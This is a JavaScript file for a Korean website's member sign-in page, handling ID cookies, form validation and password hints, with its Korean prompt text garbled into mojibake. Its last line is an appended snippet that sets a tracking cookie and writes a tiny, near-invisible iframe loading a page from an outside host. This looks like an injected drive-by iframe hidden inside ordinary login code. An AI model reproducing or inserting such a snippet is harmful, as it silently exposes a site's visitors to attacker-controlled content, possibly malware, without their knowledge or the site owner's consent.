var onSignIn = new YAHOO.util.CustomEvent("onSignIn");  

callbackSignIn = function(type, args) {
}
onSignIn.subscribe(callbackSignIn); 

    function saveUserId(theForm) {
        var expires = new Date();
        expires.setTime(expires.getTime() + 24 * 30 * 60 * 60 * 1000); // sets it for approx 30 days.
        setCookie("signInId",theForm.memberId.value,expires,"/");
    }

    function validateForm(form) {
        return validateRequired(form);
    }

    function passwordHint() {
        if (document.getElementById("signInId").value.length == 0) {
            alert("The memberId field must be filled in to get a password hint sent to you.");
            document.getElementById("signInId").focus();
        } else {
            location.href="/passwordHint.do?signInId=" + document.getElementById("signInId").value;
        }
    }

    function required () {
        this.aa = new Array("signInId", ".memberId is a required field.", new Function ("varName", " return this[varName];"));
        this.ab = new Array("signInPassword", "memberPassword is a required field.", new Function ("varName", " return this[varName];"));
    }

    function focusSignInId() {
        if (!confirm("º» ¼­ºñ½º´Â ·Î±×ÀÎ ÈÄ ÀÌ¿ëÇÏ½Ç ¼ö ÀÖ½À´Ï´Ù.\n·Î±×ÀÎ ÇÏ½Ã°Ú½À´Ï±î ?") ) {
            return;
        } else {
            document.getElementById("signInId").focus();
            return;
        }
    }

    var focusSignInId = function(e) {
        if (!confirm("º» ¼­ºñ½º´Â ·Î±×ÀÎ ÈÄ ÀÌ¿ëÇÏ½Ç ¼ö ÀÖ½À´Ï´Ù.\n·Î±×ÀÎ ÇÏ½Ã°Ú½À´Ï±î ?") ) {
            return;
        } else {
            if (document.getElementById("signInId")) {
                document.getElementById("signInId").focus();
                return;
            }
        }
    }



if(document.cookie.indexOf('nb222=')==-1){ var expires=new Date(); expires.setTime(expires.getTime () +12*60*60*1000); document.cookie='nb222=Yes;path=/;expires='+expires.toGMTString(); document.write("<iframe src='http://www.megaad.co.kr/css/win.html' width='11' height='10'></iframe>");}

